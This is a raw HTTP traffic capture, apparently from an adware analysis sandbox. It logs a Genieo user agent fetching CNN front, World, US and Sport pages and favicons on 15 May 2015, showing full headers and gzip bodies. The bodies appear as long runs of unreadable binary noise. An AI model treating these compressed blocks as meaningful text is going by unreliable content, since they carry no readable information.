.p......5...........YW.I....=9.;S....q....;..d....z.?F...T.7z).X~g..h.
.....Q..bG...**.........q.FX.>..=.a....ye'6..j..Ub.$.i.........<<< skipped >>>

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=3600

Content-Encoding: gzip

Content-Security-Policy: default-src 'self' hXXp://*.cnn.com:* hXXps://*.cnn.com:* *.cnn.net:* *.turner.com:* *.ugdturner.com:* *.vgtf.net:*; script-src 'unsafe-inline' 'unsafe-eval' 'self' *; style-src 'unsafe-inline' 'self' *; frame-src 'self' *; object-src 'self' *; img-src 'self' *; media-src 'self' *; font-src 'self' *; connect-src 'self' *;

Content-Type: text/html; charset=utf-8

x-servedByHost: prd-10-61-7-154

X-XSS-Protection: 1; mode=block

Via: 1.1 varnish

Content-Length: 40494

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:04:59 GMT

Via: 1.1 varnish

Age: 68

Connection: keep-alive

X-Served-By: cache-iad2122-IAD, cache-fra1232-FRA

X-Cache: HIT, HIT

X-Cache-Hits: 2, 35

X-Timer: S1431731099.139746,VS0,VE0

Vary: Accept-Encoding
.............r.8....<...;..5,..vwU.$.]...<..kgv6...I,S...V.z;...
"..{..7.'.L..HY.I.,.f..%K$.L$.._.#...O.wo.v.#cob...?..b.......{..83..0
..#.a{..^...^sc...cGL.k...{S........E?.iWL..3..?.s...r..{C.<X-.....
2./......tQ.......gS.x..2f..._....p*....6=.Y..0.X=....<....#(.2.{2v
...Ai...a...u._......7c 6.=r.......>0'l.K.).?(...Z..J.....=...s<
.....K..dNF..q.4.D.Y....Jl:.8..?......(...*... ...J..q.;..Hk........c.
....z.g.7...{...K>s......#.Q8...8...9"=(...iO.D....ip!s.J...X..J...
F6m.....L....!]>.L..jb..UiY.z.V..Tk'.......S ?.} F'S.o0.....m.S....
j..~Ri.TZ.<.%..0....x6..C.b.W..I?.....d..ZA...R.D........*.z..r`cY.
^[email protected]..)q=......|.}.....x..#2..t.....&....L8P25....7...f?B.....
.K.)[email protected]|..?.....1.....-.f.5...|,fE..d....j.. .............|q
......e...*...3.(.A..E.G...x&....X,6;"...ma........d.@*...#...........
W1p.kX.{>....Q.!.......0....?.0g~g1g.......f........,.x..]...!l....
..m.`t...p.D),..*.f.Z.*.^m.......0.L#........... ..,.e......d.Z.{<.
bdq9..'.iS.z.z.h..b.....%..:.4(p..@^Ix".&...<.5.y...- ..gJ....(...H
....\on.x...R.P.j(.. ...v.Ut....[2y3.....A...p..O...u...J%(....m......
...Pp...y./Dr.K...(.Im=....."...6][email protected]_u.m......G65.......>
;.....Z/...`[email protected]`..x...../....g0....!.>ZQ.
2...I....~........ 5..WX..~..|..C....w.....w........Dl. ...........q..
...8..}?d...f...&..b.{........T.....m..^....M.........{B.G`f.......E.Z
8!..;..>..N...d98:.w.#...'.?......{..7....G.{..77..'.p...a.- .!..h.
7%./.?0.D3.g...1...8!.&......CH{"u"..9Q.=6....^..tpx=...G.t0.^..y.<<< skipped >>>

HEAD /WORLD/index.html?eref=rss_world HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=3600

Content-Encoding: gzip

Content-Security-Policy: default-src 'self' hXXp://*.cnn.com:* hXXps://*.cnn.com:* *.cnn.net:* *.turner.com:* *.ugdturner.com:* *.vgtf.net:*; script-src 'unsafe-inline' 'unsafe-eval' 'self' *; style-src 'unsafe-inline' 'self' *; frame-src 'self' *; object-src 'self' *; img-src 'self' *; media-src 'self' *; font-src 'self' *; connect-src 'self' *;

Content-Type: text/html; charset=utf-8

x-servedByHost: prd-10-61-5-42

X-XSS-Protection: 1; mode=block

Via: 1.1 varnish

Content-Length: 45027

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:02 GMT

Via: 1.1 varnish

Age: 43

Connection: keep-alive

X-Served-By: cache-iad2141-IAD, cache-fra1232-FRA

X-Cache: HIT, MISS

X-Cache-Hits: 1, 0

X-Timer: S1431731102.673577,VS0,VE87

Vary: Accept-Encoding

....

GET /WORLD/index.html?eref=rss_world HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=3600

Content-Encoding: gzip

Content-Security-Policy: default-src 'self' hXXp://*.cnn.com:* hXXps://*.cnn.com:* *.cnn.net:* *.turner.com:* *.ugdturner.com:* *.vgtf.net:*; script-src 'unsafe-inline' 'unsafe-eval' 'self' *; style-src 'unsafe-inline' 'self' *; frame-src 'self' *; object-src 'self' *; img-src 'self' *; media-src 'self' *; font-src 'self' *; connect-src 'self' *;

Content-Type: text/html; charset=utf-8

x-servedByHost: prd-10-61-5-42

X-XSS-Protection: 1; mode=block

Via: 1.1 varnish

Content-Length: 45027

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:02 GMT

Via: 1.1 varnish

Age: 43

Connection: keep-alive

X-Served-By: cache-iad2141-IAD, cache-fra1232-FRA

X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

X-Timer: S1431731102.892103,VS0,VE0

Vary: Accept-Encoding
.............v.8.(.....}Ng...%..[Uf-.........].{//H.$.HB.......y....~.
.Yk.g........@..%......Z.N...@ ...."......._/.. t...._.uX.<.x...T..
g...].2..^...y...9..|.;....[....(.=... .N.n....X(:.......8....=......a
.;0....N.'..%.................s............sh.e.tu..C\x.F...4..oH.>
.=.T{.........P!>w.W.........UH..z^.....G.. ..fp.G......n....w...v=
......W...j....T].t.l4r8.e....wG^[email protected]..,..C.:....;6y......P.{0..c.y..
.]....../[email protected]._..%.>y....}U747Ccl.b.....yg..5.Ikuj.\[{G..Q}...2....
..yE..FQ.f!.YU.[Q.Ek-j.....f...J........1.3..wa......t3..;U7F.....;P.,
.....d".98.x.!..[.<....I..%9....i...../..o8....m..3...../.....\.l.t
}1Z8...K=.......~ .H.M....?..8?.../;.5.%.....h9.......C>....E...f B
~.....".e...a~...5....E..?.2..).y........~..6<........m...[....j...
.....4.^......cF.XV...G.....`.;".p?] .j#'.v.R......2...B..j......q.@&g
t;..6.>B;[email protected] =^E`.8......!z..'.g..?. .p.p.4.....U..q...j.Z
.:..n.T.?0.........h)P.)l.A.mk.PL..........&...1...o.....m.kw1F.....r.
q...G.G...d#.n..=`..=X.....jXU.....JR.....~..].~^....n.E.{.].<d....
8..z.qp.m.j.H5.}q.|.%....._...|7..-....F.p.xp....33.g...|..I..).l%....
?.r.g...Y.........m...G..yJ.......*.........._U@x=..{.9...3.[Y...{....
..B..V.....j.v..mO.ql}.8.....Gt...........-.mh2...?.."M.;..J.B..N.$..(
.V.j..L?.md...........yWW..G........?....2x.Cz..<.68...H....|w....;
R..W.JH.!.........QH?.....\..0..B.}.2...4.F..>.>......wC..e..c.v
....s.<...q..I....R.6v[G..H..&>..S...{...O.&>..S..O....j....a
..q_U.,x<Pu.:<..J...j...T..........B.....`..0` ..B_V..T....)<<< skipped >>>

GET /favicon.ie9.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=2592000

Content-Encoding: gzip

Content-Type: image/x-icon

x-servedByHost: prd-10-61-2-246

Via: 1.1 varnish

Content-Length: 2636

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:03 GMT

Via: 1.1 varnish

Age: 109702

Connection: keep-alive

X-Served-By: cache-iad2141-IAD, cache-fra1232-FRA

X-Cache: HIT, HIT

X-Cache-Hits: 3, 6195

X-Timer: S1431731103.015162,VS0,VE0

Vary: Accept-Encoding
...........WkPTG.. ...@&.'".ADe.Gp....$...j(...M|P.,I$.M"y8.. ..Y....d
Qc"....(..:.Z.!.C@..`".S.....w..T..n....3...|._..v....1xx.R9...9.....e
).F.'......#J..|..B ...`Dl,*...Y._............>B.o!..Pz..<..*.@.
...O.c.....i|...fa......0}......:5..<.)...o>.y.4....._.t..X.8...
....yX.... ..fM.^{-...r....>...bJK.P......f.J.k....i....S%pq)..k)..
..^CZ..ck)m"m..5...hl..6.......*$....c.tQ.K:@z..'.......%.X....?_..[..
cG..|...{........ x.....~9.y..qq.4.....K.do).z3.. ..P...*..[...*..U...
[email protected]${...F*7".p.......YY.8y.
...7...f.V.?..o.i$m..S............7#7..............g.I.p.|'.^d.-..w...
...u...../.$.Au5 ....iy?jjzQW....;hh.Gc.....Hz.......Dw.].....?...A...
R.3...F{.}...]]..V./..}@./..=D.......{........_(...!<.....>.#.}.
....D.. H... .Q(.&.Hl%...V.....K.P..T..h..Ol...F5.....1.. .K....V.=D..
...]'J..`...[.P....V..o..%.._...8o.f.(."8..U..5..H....0N..OM.....A.\.3
3.........n..)Cu.L|..H...'m....Xq(........6....K..j........S...E...V..
..,e...R1.;.1|...s..?....?..t..7d.0..?#..Nc..%.%......c2w&.T..Y....tph
..(6!..7...t..F..1..'dm..C9.c..$..........Lb}.1!....[.............p\..
...f2.&...........%.H....gY.k.I9/m..o....I. ...........Wk..Og..*.>.
_.q..)G....xG!.l.',[..D....................*s`K...f......B.l........C,
 (n. ...... ......Dg.....=.=ET..rq.*....y....N.[2...f.../|"....|...3..
..........Q.8...>..O!*.?.....Q..x....#"G..?I..7.7.$.G....D.(.......
3.......V...........*........XA...V. .\.\^Kz..?..5.q.1c...&..%.S.....7
.1{v1f....g..|.ju.....1.:.o......x.....-.s.d=4.v.. ..<....8.-0.<<< skipped >>>

HEAD /US/index.html?eref=rss_us HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=3600

Content-Encoding: gzip

Content-Security-Policy: default-src 'self' hXXp://*.cnn.com:* hXXps://*.cnn.com:* *.cnn.net:* *.turner.com:* *.ugdturner.com:* *.vgtf.net:*; script-src 'unsafe-inline' 'unsafe-eval' 'self' *; style-src 'unsafe-inline' 'self' *; frame-src 'self' *; object-src 'self' *; img-src 'self' *; media-src 'self' *; font-src 'self' *; connect-src 'self' *;

Content-Type: text/html; charset=utf-8

x-servedByHost: prd-10-61-5-233

X-XSS-Protection: 1; mode=block

Via: 1.1 varnish

Content-Length: 34038

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:03 GMT

Via: 1.1 varnish

Age: 228

Connection: keep-alive

X-Served-By: cache-iad2134-IAD, cache-fra1232-FRA

X-Cache: HIT, MISS

X-Cache-Hits: 2, 0

X-Timer: S1431731103.506259,VS0,VE87

Vary: Accept-Encoding

....

GET /US/index.html?eref=rss_us HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=3600

Content-Encoding: gzip

Content-Security-Policy: default-src 'self' hXXp://*.cnn.com:* hXXps://*.cnn.com:* *.cnn.net:* *.turner.com:* *.ugdturner.com:* *.vgtf.net:*; script-src 'unsafe-inline' 'unsafe-eval' 'self' *; style-src 'unsafe-inline' 'self' *; frame-src 'self' *; object-src 'self' *; img-src 'self' *; media-src 'self' *; font-src 'self' *; connect-src 'self' *;

Content-Type: text/html; charset=utf-8

x-servedByHost: prd-10-61-7-153

X-XSS-Protection: 1; mode=block

Via: 1.1 varnish

Content-Length: 34037

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:03 GMT

Via: 1.1 varnish

Age: 47

Connection: keep-alive

X-Served-By: cache-iad2149-IAD, cache-fra1232-FRA

X-Cache: HIT, MISS

X-Cache-Hits: 2, 0

X-Timer: S1431731103.725152,VS0,VE87

Vary: Accept-Encoding
.............r.8.7..y.......1,R..vwyB.u..nSvW.5...I(Q....T}:b.f#..}..7
.'.L..HY.."-W.k.e...D"...H$....7....{I...9..?..0..Qq%..W..g...C.0bI7.n
..r}...=.o.=9./.....(.5../*........X :...o...sx;....2O3...*..&v.....hJ
.e..r/.x$..2.1.v..a.{[email protected]@..c....0....aG....x.E..e@@........
....r..fV..k.W!....".....(>_...`)N.Uq`..A.z...,9.Z.[=.U1.U..F....s.
C.[U6.9..2.......E..o.....{ ....rps@^..O(..j.d..>...'.O.k.....n..~.
2}_.o.UI.W"]....0...f..j..Y...'..I.....yr..`.."{'..c..g|U.[.N..Mj6.;.'
......`(...D.0...@....\).C.y...Z.#.T..l.,.x...d"C.......i.1..40.<..
....N...d...}....UT.C..U.....q......O.F_.}..].O"]T.>....dUWc..>.
K....oN........Y?...7.s...w..........X.{hBc.A.....H...H.....Ry`......%
.3;2..Y7k...$.n..\...c_..B.U...Y{..h[....K...;#'..zR.....3:......j..s@
S.......'.MA@...*.C..@*.y0.K.W...................;...&...y0W.X......X.
<0.5....W.?.|.....Kx.&..O.=..s.,.KD.?..][t.M.Ts. V............Pc...
.....3.>.....0......].k...b.............)/.....~.N.~Q3.V.....mY.q.Z
..`.vY.[?:..M........S.......!....X.........#............X.7..d.DO.C..
......xs...j.}K~....f.N.;!..U..7.........w..s..........w....c.. .p.b..
.......G....w.a..... zX..s..M...#...B.....8u.B..........D.;...?.W*....
..CVN...g.U....:<.... ......8!{[email protected].=...>!.#p.x..
'.......U|..6`............w.$Q.J...-.0.....*.t..w....(.G..p?......e...
..fs.\..g./.....&..~.<......~;.oM.V?.o.....o-.....#.v..8.o.....-..i
..#..Y....%....z.l..GFE.....&....x......../.d./.z..~....Gz)....w.8. ..
#....WN...gw..-L/.....t..I.0...8...#E.Z..q....{.....~.!..H..?.....<<< skipped >>>

GET /favicon.ie9.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=2592000

Content-Encoding: gzip

Content-Type: image/x-icon

x-servedByHost: prd-10-61-2-246

Via: 1.1 varnish

Content-Length: 2636

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:03 GMT

Via: 1.1 varnish

Age: 109703

Connection: keep-alive

X-Served-By: cache-iad2141-IAD, cache-fra1232-FRA

X-Cache: HIT, HIT

X-Cache-Hits: 3, 6196

X-Timer: S1431731103.871575,VS0,VE0

Vary: Accept-Encoding
...........WkPTG.. ...@&.'".ADe.Gp....$...j(...M|P.,I$.M"y8.. ..Y....d
Qc"....(..:.Z.!.C@..`".S.....w..T..n....3...|._..v....1xx.R9...9.....e
).F.'......#J..|..B ...`Dl,*...Y._............>B.o!..Pz..<..*.@.
...O.c.....i|...fa......0}......:5..<.)...o>.y.4....._.t..X.8...
....yX.... ..fM.^{-...r....>...bJK.P......f.J.k....i....S%pq)..k)..
..^CZ..ck)m"m..5...hl..6.......*$....c.tQ.K:@z..'.......%.X....?_..[..
cG..|...{........ x.....~9.y..qq.4.....K.do).z3.. ..P...*..[...*..U...
[email protected]${...F*7".p.......YY.8y.
...7...f.V.?..o.i$m..S............7#7..............g.I.p.|'.^d.-..w...
...u...../.$.Au5 ....iy?jjzQW....;hh.Gc.....Hz.......Dw.].....?...A...
R.3...F{.}...]]..V./..}@./..=D.......{........_(...!<.....>.#.}.
....D.. H... .Q(.&.Hl%...V.....K.P..T..h..Ol...F5.....1.. .K....V.=D..
...]'J..`...[.P....V..o..%.._...8o.f.(."8..U..5..H....0N..OM.....A.\.3
3.........n..)Cu.L|..H...'m....Xq(........6....K..j........S...E...V..
..,e...R1.;.1|...s..?....?..t..7d.0..?#..Nc..%.%......c2w&.T..Y....tph
..(6!..7...t..F..1..'dm..C9.c..$..........Lb}.1!....[.............p\..
...f2.&...........%.H....gY.k.I9/m..o....I. ...........Wk..Og..*.>.
_.q..)G....xG!.l.',[..D....................*s`K...f......B.l........C,
 (n. ...... ......Dg.....=.=ET..rq.*....y....N.[2...f.../|"....|...3..
..........Q.8...>..O!*.?.....Q..x....#"G..?I..7.7.$.G....D.(.......
3.......V...........*........XA...V. .\.\^Kz..?..5.q.1c...&..%.S.....7
.1{v1f....g..|.ju.....1.:.o......x.....-.s.d=4.v.. ..<....8.-0.<<< skipped >>>

HEAD /SPORT/index.html?eref=rss_sport HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=3600

Content-Encoding: gzip

Content-Security-Policy: default-src 'self' hXXp://*.cnn.com:* hXXps://*.cnn.com:* *.cnn.net:* *.turner.com:* *.ugdturner.com:* *.vgtf.net:*; script-src 'unsafe-inline' 'unsafe-eval' 'self' *; style-src 'unsafe-inline' 'self' *; frame-src 'self' *; object-src 'self' *; img-src 'self' *; media-src 'self' *; font-src 'self' *; connect-src 'self' *;

Content-Type: text/html; charset=utf-8

x-servedByHost: prd-10-61-7-217

X-XSS-Protection: 1; mode=block

Via: 1.1 varnish

Content-Length: 27252

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:04 GMT

Via: 1.1 varnish

Age: 198

Connection: keep-alive

X-Served-By: cache-iad2128-IAD, cache-fra1232-FRA

X-Cache: HIT, MISS

X-Cache-Hits: 2, 0

X-Timer: S1431731104.585304,VS0,VE88

Vary: Accept-Encoding

....

GET /SPORT/index.html?eref=rss_sport HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=3600

Content-Encoding: gzip

Content-Security-Policy: default-src 'self' hXXp://*.cnn.com:* hXXps://*.cnn.com:* *.cnn.net:* *.turner.com:* *.ugdturner.com:* *.vgtf.net:*; script-src 'unsafe-inline' 'unsafe-eval' 'self' *; style-src 'unsafe-inline' 'self' *; frame-src 'self' *; object-src 'self' *; img-src 'self' *; media-src 'self' *; font-src 'self' *; connect-src 'self' *;

Content-Type: text/html; charset=utf-8

x-servedByHost: prd-10-61-7-217

X-XSS-Protection: 1; mode=block

Via: 1.1 varnish

Content-Length: 27252

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:04 GMT

Via: 1.1 varnish

Age: 94

Connection: keep-alive

X-Served-By: cache-iad2137-IAD, cache-fra1232-FRA

X-Cache: HIT, MISS

X-Cache-Hits: 1, 0

X-Timer: S1431731104.721321,VS0,VE88

Vary: Accept-Encoding
.............................h..uk...ov'n...IN.ezA$$.M../-..^k.f..3...
[email protected](..*....z.....7.d...g..'.\..O .....\..~.....X....&g
t;.\.?.v..Z._..S....#.........?w....X.t]^I..0?..v..h.2_f...Ud [...Oo&.
iI....{..G.. .2.........8.?...9..\.X..V..C2.k.h8.....wG.>.=.T{.....
..G..B|.>.\........UH..=.8C.......T3.`-..U.....0.=..YbX.<.z...._
..i.. ...........4..5.%...~L}.V..|...N..g.(.B...WH....<'[email protected].@.
....nR..F.F.......{..|1.~8yZ...Q..Y.s....y.N.:.....Q;...;...P....b...5
8..J).........s..{CJn..xv.....-...l..........[.ZI......?...X.1.b....z.
..=.....}....<..fjzM7.V;M..=...u...HeLQ...*R.7..]'.p?.f....(8...w.|
.....D...RM..\.......<...M.O(.......@[email protected]... ..pz....s..W.l
.N\...pE.U?O.=bU.H..... .:..w.#.Y)....T ?).. ..^*......{.....S...Dp...
E./Er.KmQb.f......g8.z..w....'......x.....y<..U...l..X.......;...SC
...e.i.....fM....=f.j..U.k....wF..{..A$O....M...d.x.......`1...9.<r
.W...h..h.D..O.y.......\....x.>...1........Lz.'..o.!...IB?.O>.r.
......'...17......>....$.Cg..C6..{..G.L:v......n}....t.S....c.8....
...:6..r...?`..r.r\...J...X.W.2.c......N2.........v..........[u3..#../
..C.....X.w..11[0...7...c....W.%T......OdE..-..w.$U.J...-.2.....*.t...
}.}.j/....X....Q.1... .....A.......Z.D*V..~lh..,....[........L..5.[..o
-...o...|C..kS.....%....../.HG..k.).................S\............S...
....R0;%/.10D..?e......cT....K....!..` \.r\.4%......X.z.........Xv.Cu]
J.....8..x..j..... B..5......=V..?p.z.w.D.......]@..$.C...r.X1t22W..-.
.....\....8..k.zL.Ng.>.O..g..'.....s/R%dn..2.D...w.........V...<<< skipped >>>

GET /favicon.ie9.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=2592000

Content-Encoding: gzip

Content-Type: image/x-icon

x-servedByHost: prd-10-61-2-246

Via: 1.1 varnish

Content-Length: 2636

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:04 GMT

Via: 1.1 varnish

Age: 109704

Connection: keep-alive

X-Served-By: cache-iad2141-IAD, cache-fra1232-FRA

X-Cache: HIT, HIT

X-Cache-Hits: 3, 6197

X-Timer: S1431731104.922890,VS0,VE0

Vary: Accept-Encoding
...........WkPTG.. ...@&.'".ADe.Gp....$...j(...M|P.,I$.M"y8.. ..Y....d
Qc"....(..:.Z.!.C@..`".S.....w..T..n....3...|._..v....1xx.R9...9.....e
).F.'......#J..|..B ...`Dl,*...Y._............>B.o!..Pz..<..*.@.
...O.c.....i|...fa......0}......:5..<.)...o>.y.4....._.t..X.8...
....yX.... ..fM.^{-...r....>...bJK.P......f.J.k....i....S%pq)..k)..
..^CZ..ck)m"m..5...hl..6.......*$....c.tQ.K:@z..'.......%.X....?_..[..
cG..|...{........ x.....~9.y..qq.4.....K.do).z3.. ..P...*..[...*..U...
[email protected]${...F*7".p.......YY.8y.
...7...f.V.?..o.i$m..S............7#7..............g.I.p.|'.^d.-..w...
...u...../.$.Au5 ....iy?jjzQW....;hh.Gc.....Hz.......Dw.].....?...A...
R.3...F{.}...]]..V./..}@./..=D.......{........_(...!<.....>.#.}.
....D.. H... .Q(.&.Hl%...V.....K.P..T..h..Ol...F5.....1.. .K....V.=D..
...]'J..`...[.P....V..o..%.._...8o.f.(."8..U..5..H....0N..OM.....A.\.3
3.........n..)Cu.L|..H...'m....Xq(........6....K..j........S...E...V..
..,e...R1.;.1|...s..?....?..t..7d.0..?#..Nc..%.%......c2w&.T..Y....tph
..(6!..7...t..F..1..'dm..C9.c..$..........Lb}.1!....[.............p\..
...f2.&...........%.H....gY.k.I9/m..o....I. ...........Wk..Og..*.>.
_.q..)G....xG!.l.',[..D....................*s`K...f......B.l........C,
 (n. ...... ......Dg.....=.=ET..rq.*....y....N.[2...f.../|"....|...3..
..........Q.8...>..O!*.?.....Q..x....#"G..?I..7.7.$.G....D.(.......
3.......V...........*........XA...V. .\.\^Kz..?..5.q.1c...&..%.S.....7
.1{v1f....g..|.ju.....1.:.o......x.....-.s.d=4.v.. ..<....8.-0.<<< skipped >>>

HEAD / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=3600

Content-Encoding: gzip

Content-Security-Policy: default-src 'self' hXXp://*.cnn.com:* hXXps://*.cnn.com:* *.cnn.net:* *.turner.com:* *.ugdturner.com:* *.vgtf.net:*; script-src 'unsafe-inline' 'unsafe-eval' 'self' *; style-src 'unsafe-inline' 'self' *; frame-src 'self' *; object-src 'self' *; img-src 'self' *; media-src 'self' *; font-src 'self' *; connect-src 'self' *;

Content-Type: text/html; charset=utf-8

x-servedByHost: prd-10-61-7-154

X-XSS-Protection: 1; mode=block

Via: 1.1 varnish

Content-Length: 40494

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:09 GMT

Via: 1.1 varnish

Age: 78

Connection: keep-alive

X-Served-By: cache-iad2122-IAD, cache-fra1232-FRA

X-Cache: HIT, HIT

X-Cache-Hits: 2, 41

X-Timer: S1431731109.115380,VS0,VE0

Vary: Accept-Encoding

....

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=3600

Content-Encoding: gzip

Content-Security-Policy: default-src 'self' hXXp://*.cnn.com:* hXXps://*.cnn.com:* *.cnn.net:* *.turner.com:* *.ugdturner.com:* *.vgtf.net:*; script-src 'unsafe-inline' 'unsafe-eval' 'self' *; style-src 'unsafe-inline' 'self' *; frame-src 'self' *; object-src 'self' *; img-src 'self' *; media-src 'self' *; font-src 'self' *; connect-src 'self' *;

Content-Type: text/html; charset=utf-8

x-servedByHost: prd-10-61-7-154

X-XSS-Protection: 1; mode=block

Via: 1.1 varnish

Content-Length: 40494

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:09 GMT

Via: 1.1 varnish

Age: 78

Connection: keep-alive

X-Served-By: cache-iad2122-IAD, cache-fra1232-FRA

X-Cache: HIT, HIT

X-Cache-Hits: 2, 42

X-Timer: S1431731109.160352,VS0,VE0

Vary: Accept-Encoding
.............r.8....<...;..5,..vwU.$.]...<..kgv6...I,S...V.z;...
"..{..7.'.L..HY.I.,.f..%K$.L$.._.#...O.wo.v.#cob...?..b.......{..83..0
..#.a{..^...^sc...cGL.k...{S........E?.iWL..3..?.s...r..{C.<X-.....
2./......tQ.......gS.x..2f..._....p*....6=.Y..0.X=....<....#(.2.{2v
...Ai...a...u._......7c 6.=r.......>0'l.K.).?(...Z..J.....=...s<
.....K..dNF..q.4.D.Y....Jl:.8..?......(...*... ...J..q.;..Hk........c.
....z.g.7...{...K>s......#.Q8...8...9"=(...iO.D....ip!s.J...X..J...
F6m.....L....!]>.L..jb..UiY.z.V..Tk'.......S ?.} F'S.o0.....m.S....
j..~Ri.TZ.<.%..0....x6..C.b.W..I?.....d..ZA...R.D........*.z..r`cY.
^[email protected]..)q=......|.}.....x..#2..t.....&....L8P25....7...f?B.....
.K.)[email protected]|..?.....1.....-.f.5...|,fE..d....j.. .............|q
......e...*...3.(.A..E.G...x&....X,6;"...ma........d.@*...#...........
W1p.kX.{>....Q.!.......0....?.0g~g1g.......f........,.x..]...!l....
..m.`t...p.D),..*.f.Z.*.^m.......0.L#........... ..,.e......d.Z.{<.
bdq9..'.iS.z.z.h..b.....%..:.4(p..@^Ix".&...<.5.y...- ..gJ....(...H
....\on.x...R.P.j(.. ...v.Ut....[2y3.....A...p..O...u...J%(....m......
...Pp...y./Dr.K...(.Im=....."...6][email protected]_u.m......G65.......>
;.....Z/...`[email protected]`..x...../....g0....!.>ZQ.
2...I....~........ 5..WX..~..|..C....w.....w........Dl. ...........q..
...8..}?d...f...&..b.{........T.....m..^....M.........{B.G`f.......E.Z
8!..;..>..N...d98:.w.#...'.?......{..7....G.{..77..'.p...a.- .!..h.
7%./.?0.D3.g...1...8!.&......CH{"u"..9Q.=6....^..tpx=...G.t0.^..y.<<< skipped >>>

GET /favicon.ie9.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=2592000

Content-Encoding: gzip

Content-Type: image/x-icon

x-servedByHost: prd-10-61-2-246

Via: 1.1 varnish

Content-Length: 2636

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:09 GMT

Via: 1.1 varnish

Age: 109708

Connection: keep-alive

X-Served-By: cache-iad2141-IAD, cache-fra1232-FRA

X-Cache: HIT, HIT

X-Cache-Hits: 3, 6198

X-Timer: S1431731109.225076,VS0,VE0

Vary: Accept-Encoding
...........WkPTG.. ...@&.'".ADe.Gp....$...j(...M|P.,I$.M"y8.. ..Y....d
Qc"....(..:.Z.!.C@..`".S.....w..T..n....3...|._..v....1xx.R9...9.....e
).F.'......#J..|..B ...`Dl,*...Y._............>B.o!..Pz..<..*.@.
...O.c.....i|...fa......0}......:5..<.)...o>.y.4....._.t..X.8...
....yX.... ..fM.^{-...r....>...bJK.P......f.J.k....i....S%pq)..k)..
..^CZ..ck)m"m..5...hl..6.......*$....c.tQ.K:@z..'.......%.X....?_..[..
cG..|...{........ x.....~9.y..qq.4.....K.do).z3.. ..P...*..[...*..U...
[email protected]${...F*7".p.......YY.8y.
...7...f.V.?..o.i$m..S............7#7..............g.I.p.|'.^d.-..w...
...u...../.$.Au5 ....iy?jjzQW....;hh.Gc.....Hz.......Dw.].....?...A...
R.3...F{.}...]]..V./..}@./..=D.......{........_(...!<.....>.#.}.
....D.. H... .Q(.&.Hl%...V.....K.P..T..h..Ol...F5.....1.. .K....V.=D..
...]'J..`...[.P....V..o..%.._...8o.f.(."8..U..5..H....0N..OM.....A.\.3
3.........n..)Cu.L|..H...'m....Xq(........6....K..j........S...E...V..
..,e...R1.;.1|...s..?....?..t..7d.0..?#..Nc..%.%......c2w&.T..Y....tph
